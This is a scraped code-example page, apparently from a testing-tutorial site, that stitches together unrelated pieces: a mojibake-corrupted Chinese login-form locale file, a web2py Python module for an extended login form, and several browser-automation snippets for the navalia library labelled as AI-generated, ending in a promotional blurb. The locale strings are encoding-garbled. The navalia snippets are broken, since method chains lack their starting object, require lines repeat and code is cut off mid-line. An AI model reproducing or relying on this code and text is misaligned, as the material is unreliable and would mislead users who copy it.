¥è¡¡éæ¨æ·®',38  'user-login.form.get-captcha': 'ç²åé©è碼',39  'user-login.captcha.second': 'ç§',40  'user-login.form.optional': 'ï¼é¸å¡«ï¼',41  'user-login.form.submit': 'æäº¤',42  'user-login.form.save': 'ä¿å',43  'user-login.email.placeholder': 'éµç®±',44  'user-login.password.placeholder': 'è³å°6ä½å¯ç¢¼ï¼åå大å°å¯«',45  'user-login.confirm-password.placeholder': '確èªå¯ç¢¼',46  'user-login.phone-number.placeholder': 'ææ©è',47  'user-login.verification-code.placeholder': 'é©è碼',48  'user-login.title.label': 'æ¨é¡',49  'user-login.title.placeholder': 'çµ¦ç®æ¨èµ·ååå',50  'user-login.date.label': 'èµ·æ¢æ¥æ',51  'user-login.placeholder.start': 'éå§æ¥æ',52  'user-login.placeholder.end': 'çµææ¥æ',53  'user-login.goal.label': 'ç®æ¨æè¿°',54  'user-login.goal.placeholder': 'è«è¼¸å
¥å¦³çéæ®µæ§å·¥ä½ç®æ¨',55  'user-login.standard.label': 'è¡¡éæ¨æ·®',56  'user-login.standard.placeholder': 'è«è¼¸å
¥è¡¡éæ¨æ·®',57  'user-login.client.label': '客æ¶',58  'user-login.label.tooltip': 'ç®æ¨çæåå°è±¡',59  'user-login.client.placeholder': 'è«æè¿°å¦³æåç客æ¶ï¼å
§é¨å®¢æ¶ç´æ¥ @å§åï¼å·¥è',60  'user-login.invites.label': 'éè©äºº',61  'user-login.invites.placeholder': 'è«ç´æ¥ @å§åï¼å·¥èï¼æå¤å¯éè« 5 人',62  'user-login.weight.label': 'æ¬é',63  'user-login.weight.placeholder': 'è«è¼¸å
¥',64  'user-login.public.label': 'ç®æ¨å
¬é',65  'user-login.label.help': '客æ¶ãéè©äººé»èªè¢«å享',66  'user-login.radio.public': 'å
¬é',67  'user-login.radio.partially-public': 'é¨åå
¬é',68  'user-login.radio.private': 'ä¸å
¬é',69  'user-login.publicUsers.placeholder': 'å
¬é給',70  'user-login.option.A': 'åäºç²',71  'user-login.option.B': 'åäºä¹',72  'user-login.option.C': 'åäºä¸',73  'user-login.navBar.lang': 'èªè¨',...extended_login_form.py
Source:extended_login_form.py  
1#!/usr/bin/env python2# coding: utf83"""4ExtendedLoginForm is used to extend normal login form in web2py with one more login method.5So user can choose the built-in login or extended login methods.6"""7from gluon import current, DIV8class ExtendedLoginForm(object):9    """10    Put extended_login_form under web2py/gluon/contrib/login_methods folder.11    Then inside your model where defines the auth:12    auth = Auth(globals(),db)              # authentication/authorization13    ...14    auth.define_tables()                   # You might like to put the code after auth.define_tables15    ...                                    # if the alt_login_form deals with tables of auth.16    alt_login_form = RPXAccount(request,17                                api_key="...",18                                domain="...",19                                url = "http://localhost:8000/%s/default/user/login" % request.application)20    extended_login_form = ExtendedLoginForm(21        auth, alt_login_form, signals=['token'])22    auth.settings.login_form = extended_login_form23    Note:24        Since rpx_account doesn't create the password for the user, you25        might need to provide a way for user to create password to do26        normal login.27    """28    def __init__(self,29                 auth,30                 alt_login_form,31                 signals=[],32                 login_arg='login'33                 ):34        self.auth = auth35        self.alt_login_form = alt_login_form36        self.signals = signals37        self.login_arg = login_arg38    def get_user(self):39        """40        Delegate the get_user to alt_login_form.get_user.41        """42        if hasattr(self.alt_login_form, 'get_user'):43            return self.alt_login_form.get_user()44        return None  # let gluon.tools.Auth.get_or_create_user do the rest45    def login_url(self, next):46        """47        Optional implement for alt_login_form.48        In normal case, this should be replaced by get_user, and never get called.49        """50        if hasattr(self.alt_login_form, 'login_url'):51            return self.alt_login_form.login_url(next)52        return self.auth.settings.login_url53    def logout_url(self, next):54        """55        Optional implement for alt_login_form.56        Called if bool(alt_login_form.get_user) is True.57        If alt_login_form implemented logout_url function, it will return that function call.58        """59        if hasattr(self.alt_login_form, 'logout_url'):60            return self.alt_login_form.logout_url(next)61        return next62    def login_form(self):63        """64        Combine the auth() form with alt_login_form.65        If signals are set and a parameter in request matches any signals,66        it will return the call of alt_login_form.login_form instead.67        So alt_login_form can handle some particular situations, for example,68        multiple steps of OpenID login inside alt_login_form.login_form.69        Otherwise it will render the normal login form combined with70        alt_login_form.login_form.71        """72        request = current.request73        args = request.args74        if (self.signals and75            any([True for signal in self.signals if signal in request.vars])76            ):77            return self.alt_login_form.login_form()78        self.auth.settings.login_form = self.auth79        form = DIV(self.auth())80        self.auth.settings.login_form = self81        form.components.append(self.alt_login_form.login_form())...Using AI Code Generation
1const login = require('navalia').login;2const query = require('navalia').query;3const click = require('navalia').click;4const type = require('navalia').type;5const wait = require('navalia').wait;6const screenshot = require('navalia').screenshot;7const end = require('navalia').end;8const navalia = require('navalia').navalia;9const get = require('navalia').get;10const wait = require('navalia').wait;11const click = require('navalia').click;12const screenshot = require('navalia').screenshot;13const end = require('navalia').end;14const navalia = require('navalia').navalia;15const get = require('navalia').get;16const wait = require('navalia').wait;17const click = require('navalia').click;18const screenshot = require('navalia').screenshot;19const end = require('navalia').end;20const navalia = require('navalia').navalia;21const get = require('navalia').get;22const wait = require('navalia').wait;23const click = require('navalia').click;24const screenshot = require('navalia').screenshot;25const end = require('Using AI Code Generation
1var navalia = require('navalia');2var browser = new navalia();3    .type('input[name="q"]', 'navalia')4    .click('input[value="Google Search"]')5    .waitForNavigation()6    .screenshot()7    .then(function (screenshot) {8    });Using AI Code Generation
1const navalia = require('navalia');2const browser = new navalia();3  .type('#lst-ib', 'navalia')4  .click('#tsf > div.tsf-p > div.jsb > center > input[type="submit"]:nth-child(1)')5  .wait(5000)6  .screenshot('google.png')7  .close();Using AI Code Generation
1var navalia = require('navalia');2var browser = navalia().chrome();3  .type('#lst-ib', 'navalia')4  .click('input[name="btnK"]')5  .wait()6  .screenshot('screenshot.png')7  .end()8  .then(function() {9    console.log('done');10  });11var navalia = require('navalia');12var browser = navalia().chrome();13  .type('#lst-ib', 'navalia')14  .click('input[name="btnK"]')15  .wait()16  .screenshot('screenshot.png')17  .end()18  .then(function() {19    console.log('done');20  });21var navalia = require('navalia');22var browser = navalia().chrome();23for(var i=0; i<2; i++) {24      .type('#lst-ib', 'navalia')25      .click('input[name="btnK"]')26      .wait()27      .screenshot('screenshot.png')28      .end()29      .then(function() {30        console.log('done');31      });32}33var navalia = require('navalia');34var browser = navalia().chrome();35for(var i=0; i<2; i++) {36      .type('#lst-ib', 'navalia')37      .click('input[name="btnK"]')38      .wait()39      .screenshot('screenshot.png')Using AI Code Generation
1var navalia = require('navalia');2var browser = navalia();3    .then(function (browser) {4    })5    .then(function (browser) {6        return browser.click('a').wait(500);7    })8    .then(function (browser) {9        return browser.screenshot('google.png');10    })11    .then(function (browser) {12        return browser.close();13    })14    .catch(function (err) {15        console.error(err);16    });17navalia([options])18Default: {}19login(url, username, password, [options])20Default: {}21goto(url, [options])22Default: {}23click(selector, [options])24Default: {}25wait(ms)26screenshot(path, [options])27Default: {}28close()Using AI Code Generation
1var navalia = require('navalia');2var browser = navalia().browser('chrome');3    .then(function () {4        return browser.type('#username', 'admin');5    })6    .then(function () {7        return browser.type('#password', 'admin');8    })9    .then(function () {10        return browser.click('#login');11    })12    .then(function () {13        return browser.waitUntil(function () {14            return browser.evaluate(function () {15                return document.querySelector('#login').value === 'Login';16            });17        });18    })19    .then(function () {20        return browser.close();21    })22    .catch(function (err) {23        console.log(err);24    });25var navalia = require('navalia');26var browser = navalia().browser('chrome');27    .then(function () {28        return browser.type('#username', 'admin');29    })30    .then(function () {31        return browser.type('#password', 'admin');32    })33    .then(function () {34        return browser.click('#login');35    })36    .then(function () {37        return browser.waitUntil(function () {38            return browser.evaluate(function () {39                return document.querySelector('#login').value === 'Login';40            });41        });42    })43    .then(function () {44        return browser.close();45    })46    .catch(function (err) {47        console.log(err);48    });49var navalia = require('navalia');50var browser = navalia().browser('chrome');51    .then(function () {52        return browser.type('#Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.
You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.
Get 100 minutes of automation test minutes FREE!!
